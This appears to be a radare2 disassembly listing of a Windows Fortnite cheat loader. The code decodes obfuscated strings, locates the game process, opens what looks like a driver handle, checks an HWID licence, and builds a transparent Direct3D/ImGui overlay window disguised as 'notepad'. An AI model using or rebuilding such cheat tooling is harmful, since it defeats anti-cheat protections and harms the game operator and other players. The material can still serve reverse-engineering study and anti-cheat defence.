lea rdx, [rbp - 0x6b]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400468b0
call fcn.14004cea0
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004cea0
mov dword [rbp - 0x56], 0xe9f5fb
mov byte [rbp - 0x52], 1
lea rcx, [rbp - 0x56]
call fcn.14004ce70
mov rcx, rax
jmp 0x140053e39
mov dword [rsp + 0x7a], 0xe9f5fb
mov byte [rsp + 0x7e], 1
mov rcx, r13
nop dword [rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x7a], al
inc rcx
cmp rcx, 3
jb 0x140053dc0
mov byte [rsp + 0x7e], 0
lea rcx, [rsp + 0x7a]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x67], 0x1009392
lea rdx, [rbp - 0x67]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400468b0
call fcn.14004cea0
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004cea0
mov dword [rsp + 0x7f], 0xe9f5fb
mov byte [rbp - 0x7d], 1
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x7f], al
inc rcx
cmp rcx, 3
jb 0x140053e20
mov byte [rbp - 0x7d], 0
lea rcx, [rsp + 0x7f]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Color_0D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_________________________________________________________________________________________________________n_________________________________________________________________________________________________n__________________________________________________________________________________________________n_______________________________________________________________________________________n_______________________________________________________________________________________n____________________________________________________________________________________________n____________________________________________________________________________________________n_____________________________________________________________________________________________n______________________________________________________________________________________________n__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m__e_37me_35m_e_37m_e_1mLoad_Fortnite_Waiting..._ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1400ccbf0]
test rcx, rcx
jne 0x140053eee
nop dword [rax]
mov dword [rbp - 0x77], 0xefe8f6de
mov dword [rbp - 0x73], 0xfaeaf4f2
mov dword [rbp - 0x6f], 0x1008180
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx - 0x77], al
inc rcx
cmp rcx, 0xa
jb 0x140053eb0
mov byte [rbp - 0x6c], 0
lea rdx, [rbp - 0x77]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1400ccbf0], rax
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1400ccbf0]
test rcx, rcx
je 0x140053e90
lea rdx, [0x1400ccbcc]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
xor edx, edx
mov rcx, qword [0x1400ccf30]
call fcn.14004b920
test al, al
je 0x1400541fc
mov dword [rbp + 0x130], 0x5bf65bde
mov dword [rbp + 0x134], 0x5bef5be8
mov dword [rbp + 0x138], 0x5bf45bf2
mov dword [rbp + 0x13c], 0x5bfa5bea
mov dword [rbp + 0x140], 0x5bcd5be3
mov dword [rbp + 0x144], 0x5bc65bcb
mov dword [rbp + 0x148], 0x5bd15bca
mov dword [rbp + 0x14c], 0x5bf05b8b
mov dword [rbp + 0x150], 0x5bc75bc1
mov dword [rbp + 0x154], 0x5b9f5b9c
mov dword [rbp + 0x158], 0x5bfe5b81
mov dword [rbp + 0x15c], 0x5bc65bc6
mov dword [rbp + 0x160], 0x5bc15bc0
mov dword [rbp + 0x164], 0x5bdd5bdb
mov dword [rbp + 0x168], 0x5b9b5bd3
mov dword [rbp + 0x16c], 0x5bcf5bd3
mov dword [rbp + 0x170], 0x5bdd
mov byte [rbp + 0x174], 1
mov rcx, r13
mov edi, 0x5b98
nop word [rax + rax]
lea eax, [rdi + rcx]
xor word [rbp + rcx*2 + 0x130], ax
inc rcx
cmp rcx, 0x21
jb 0x140053fd0
mov byte [rbp + 0x174], 0
mov rbx, qword [0x1400ccf30]
lea rdx, [rbp + 0x130]
mov rcx, rbx
call fcn.14004b250
mov dword [rbx], eax
mov dword [rbp + 0xea], 0x5bf65bde
mov dword [rbp + 0xee], 0x5bef5be8
mov dword [rbp + 0xf2], 0x5bf45bf2
mov dword [rbp + 0xf6], 0x5bfa5bea
mov dword [rbp + 0xfa], 0x5bcd5be3
mov dword [rbp + 0xfe], 0x5bc65bcb
mov dword [rbp + 0x102], 0x5bd15bca
mov dword [rbp + 0x106], 0x5bf05b8b
mov dword [rbp + 0x10a], 0x5bc75bc1
mov dword [rbp + 0x10e], 0x5b9f5b9c
mov dword [rbp + 0x112], 0x5bfe5b81
mov dword [rbp + 0x116], 0x5bc65bc6
mov dword [rbp + 0x11a], 0x5bc15bc0
mov dword [rbp + 0x11e], 0x5bdd5bdb
mov dword [rbp + 0x122], 0x5b9b5bd3
mov dword [rbp + 0x126], 0x5bcf5bd3
mov dword [rbp + 0x12a], 0x5bdd
mov byte [rbp + 0x12e], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rdi + rcx]
xor word [rbp + rcx*2 + 0xea], ax
inc rcx
cmp rcx, 0x21
jb 0x1400540c0
mov byte [rbp + 0x12e], 0
mov rbx, qword [0x1400ccf30]
cmp dword [rbx + 0x20], 0
je 0x140054122
mov qword [rbp + 0x1f0], r13
mov eax, dword [rbx]
mov dword [rbp + 0x618], eax
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x620], rax
lea r8, [rbp + 0x618]
mov edx, 6
mov rcx, rbx
call fcn.14004c5c0
mov rax, qword [rbp + 0x1f0]
jmp 0x140054188
mov qword [rbp + 0x220], r13
mov dword [rbp + 0x1c0], r13d
mov eax, dword [rbx]
mov dword [rbp + 0x13d0], eax
lea rax, [rbp + 0x220]
mov qword [rbp + 0x15d8], rax
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x15e0], rax
lea r8, [rbp + 0xea]
mov edx, 0xff
lea rcx, [rbp + 0x13d4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rbp + 0x13d0]
mov edx, 5
mov rcx, rbx
call fcn.14004c5c0
mov rax, qword [rbp + 0x220]
mov qword [0x1400ccbe8], rax
lea rdx, str.FortniteClient_Win64_Shipping.exe
mov rcx, qword [0x1400ccf30]
call fcn.14004b250
mov dword [0x1400ccbcc], eax
lea rdx, [rbp + 0x358]
mov rcx, qword [0x1400ccbf0]
call qword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x1400541e4
mov eax, dword [rbp + 0x360]
sub eax, dword [rbp + 0x358]
mov dword [0x1400ccbf8], eax
mov eax, dword [rbp + 0x364]
sub eax, dword [rbp + 0x35c]
mov dword [0x1400ccbfc], eax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, qword [0x1400ccf38]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rbp - 0x7c], 0xe9f5fb
mov byte [rbp - 0x78], 1
mov rdx, r13
nop word [rax + rax]
lea eax, [rdx - 0x68]
xor byte [rbp + rdx - 0x7c], al
inc rdx
cmp rdx, 3
jb 0x140054210
mov byte [rbp - 0x78], 0
lea rcx, [rbp - 0x7c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x63], 0x1009392
lea rdx, [rbp - 0x63]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400468b0
call fcn.14004cea0
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_WSASetLastError
call fcn.14004c990
movdqa xmm0, xmmword [0x1400ad100]
movdqu xmmword [rbp + 0x18e], xmm0
mov dword [rbp + 0x19e], 0x8bcec0c9
mov dword [rbp + 0x1a2], 0x1009cfa
mov rdx, r13
nop word [rax + rax]
lea eax, [rdx - 0x68]
xor byte [rbp + rdx + 0x18e], al
inc rdx
cmp rdx, 0x16
jb 0x140054290
mov byte [rbp + 0x1a5], 0
lea rcx, [rbp + 0x18e]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.14004cea0
lea rdx, str.e_35m__e_37me_35m_e_37m_e_1mDont_Close_This_Windows_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rcx, str.color_0D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_Username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [0x1400ccdf0]
cmp qword [0x1400cce08], 0x10
cmovae rdx, qword [0x1400ccdf0]
mov r8, qword [0x1400cce00]
mov rcx, rax
call fcn.140047080
lea rdx, [0x1400cce50]
lea rcx, [rbp + 0x1258]
call fcn.140009a60
mov rcx, rax
call fcn.14004dfb0
mov qword [rbp + 0x438], rax
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0xee0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xee0]
movaps xmmword [rbp + 0xf10], xmm0
movups xmm1, xmmword [rbp + 0xef0]
movaps xmmword [rbp + 0xf20], xmm1
mov eax, dword [rbp + 0xf00]
mov dword [rbp + 0xf30], eax
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x12d8]
call fcn.14004e040
mov rbx, rax
lea rdx, str._n_Create_date:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400543aa
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140047080
nop
lea rcx, [rbp + 0x12d8]
call fcn.140009970
lea rdx, [0x1400cce70]
lea rcx, [rbp + 0x1218]
call fcn.140009a60
mov rcx, rax
call fcn.14004dfb0
mov qword [rbp + 0x3f0], rax
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xf40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xf40]
movaps xmmword [rbp + 0xf70], xmm0
movups xmm1, xmmword [rbp + 0xf50]
movaps xmmword [rbp + 0xf80], xmm1
mov eax, dword [rbp + 0xf60]
mov dword [rbp + 0xf90], eax
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x1358]
call fcn.14004e040
mov rbx, rax
lea rdx, str._n_Last_login:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140054457
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140047080
nop
lea rcx, [rbp + 0x1358]
call fcn.140009970
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
mov r8, r13
mov qword [rbp + 0x1d8], r13
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1e0], rax
mov byte [rbp + 0x1c8], 0
mov r14, qword [0x1400cce90]
mov r12, qword [0x1400cce98]
cmp r14, r12
je 0x14005469e
movzx ebx, byte [rbp + 0x1670]
lea rdx, [0x1400ba344]
movabs rax, 0x7fffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
mov rsi, qword [r14 + 0x10]
mov r15, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1400544e5
mov r15, qword [r14]
cmp rsi, rax
ja 0x140054c6e
cmp rsi, 0x10
jae 0x14005450b
mov qword [rbp + 0x50], rsi
mov ecx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x58], rcx
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x40], xmm0
jmp 0x140054572
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x140054524
mov rdi, rax
jmp 0x140054531
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp + 0x40]
call fcn.14000a6b0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x58]
mov rsi, qword [rbp + 0x50]
movabs rax, 0x7fffffffffffffff
lea rdx, [0x1400ba344]
sub rax, rsi
cmp rax, 1
jb 0x140054c74
lea r9, [rbp + 0x40]
cmp rcx, 0x10
cmovae r9, qword [rbp + 0x40]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rsi
lea r8, [rbp + 0x40]
movzx edx, bl
lea rcx, [rbp + 0x338]
call fcn.14000c800
nop
lea rdx, [rbp + 0x338]
cmp qword [rbp + 0x350], 0x10
cmovae rdx, qword [rbp + 0x338]
mov r8, qword [rbp + 0x348]
lea rcx, [rbp + 0x1c8]
call fcn.1400098f0
nop
mov rdx, qword [rbp + 0x350]
cmp rdx, 0x10
jb 0x14005461f
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005461a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400549e4
call fcn.1400a24cc
mov qword [rbp + 0x348], r13
mov qword [rbp + 0x350], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x338], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140054673
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005466e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400549eb
call fcn.1400a24cc
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
add r14, 0x20
cmp r14, r12
jne 0x1400544b4
mov rax, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1c8]
cmp rax, 0x10
cmovae rdx, qword [rbp + 0x1c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047080
lea rdx, [0x1400ccea8]
lea rcx, [rbp + 0x1338]
call fcn.140009a60
mov rcx, rax
call fcn.14004dfb0
mov qword [rbp + 0x3f8], rax
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0xe80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xe80]
movaps xmmword [rbp + 0xeb0], xmm0
movups xmm1, xmmword [rbp + 0xe90]
movaps xmmword [rbp + 0xec0], xmm1
mov eax, dword [rbp + 0xea0]
mov dword [rbp + 0xed0], eax
lea r9, [rbp + 0xeb0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x1380]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
lea rax, [rbp + 0x1380]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140054760
lea rdx, [rbp + 0x1380]
lea rcx, [rbp + 0x228]
call fcn.1400468f0
nop
lea rdx, str._n_Hwid_key_expiry:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
cmovae rdx, qword [rbp + 0x228]
mov r8, qword [rbp + 0x238]
mov rcx, rax
call fcn.140047080
nop
mov r8, qword [rbp + 0x240]
cmp r8, 0x10
jb 0x1400547db
inc r8
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0x228]
call fcn.14000a710
movdqa xmm0, xmmword [0x1400acef0]
movdqu xmmword [rbp + 0x238], xmm0
mov byte [rbp + 0x228], 0
mov qword [rbp + 0x400], r13
mov eax, dword [0x1400ccbc8]
mov dword [rbp + 0xc30], eax
mov rax, qword [0x1400ccbd0]
mov qword [rbp + 0xc40], rax
lea rax, [rbp + 0x400]
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc48], 8
lea rdx, [rbp + 0xc30]
xor ecx, ecx
call fcn.14004c520
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x14004c190]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1400ccbcc]
mov rcx, qword [0x1400ccbf0]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x14004c670]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [rbp + 0xc54], r13d
mov qword [rbp + 0xc60], r13
mov qword [rbp + 0xc70], r13
mov qword [rbp + 0xc88], r13
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rbp + 0xc80], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0xc78], rax
mov qword [rbp + 0xc68], r13
lea rax, [0x14004cb10]
mov qword [rbp + 0xc58], rax
lea rdi, str.notepad
mov qword [rbp + 0xc90], rdi
mov dword [rbp + 0xc50], 3
lea rcx, [rbp + 0xc50]
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
jne 0x140054926
lea rdx, str._n_n_notepad
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x80000000
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x1400ccf38], rax
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400ab360]
mov rcx, qword [0x1400ccf38]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, qword [0x1400ccf38]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [0x1400ccf38]
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x1400ccbc0]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9Ex
test eax, eax
jns 0x1400549f2
mov ecx, 3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [0x1400ccb8c], r13
mov qword [0x1400ccb98], 1
mov qword [0x1400ccbb4], r13
mov dword [0x1400ccbbc], r13d
mov eax, dword [0x1400ccbf8]
mov dword [0x1400ccb80], eax
mov eax, dword [0x1400ccbfc]
mov dword [0x1400ccb84], eax
mov dword [0x1400ccb88], 0x15
mov dword [0x1400ccb94], r13d
mov dword [0x1400ccbb0], 0x50
mov dword [0x1400ccbac], 1
mov r9, qword [0x1400ccf38]
mov qword [0x1400ccba0], r9
mov dword [0x1400ccba8], 1
mov rcx, qword [0x1400ccbc0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x80]
lea rax, [0x1400cd078]
mov qword [rsp + 0x30], rax
lea rax, [0x1400ccb80]
mov qword [rsp + 0x28], rax
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
xor edx, edx
lea r8d, [rdx + 1]
call r10
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x1548
mov r9d, 8
mov r8d, 0x3a0
lea rcx, str.1.67_WIP
call fcn.14001ed60
xor ecx, ecx
call fcn.14001e5a0
call fcn.140021080
mov rcx, qword [0x1400ccf38]
call fcn.14003b380
mov rcx, qword [0x1400cd078]
call fcn.14003a7d0
xor ecx, ecx
call fcn.1400321b0
call fcn.140021580
call fcn.14004e0c0
call fcn.14004e330
nop
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x140054b4f
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054b4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a24cc
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c8], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140054ba6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054ba1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054ba1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a24cc
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140054bf4
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054bef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054bef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a24cc
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140054c42
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054c3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054c3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a24cc
xor eax, eax
lea r11, [rsp + 0x1720]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400026d0
nop
call fcn.1400026d0
int3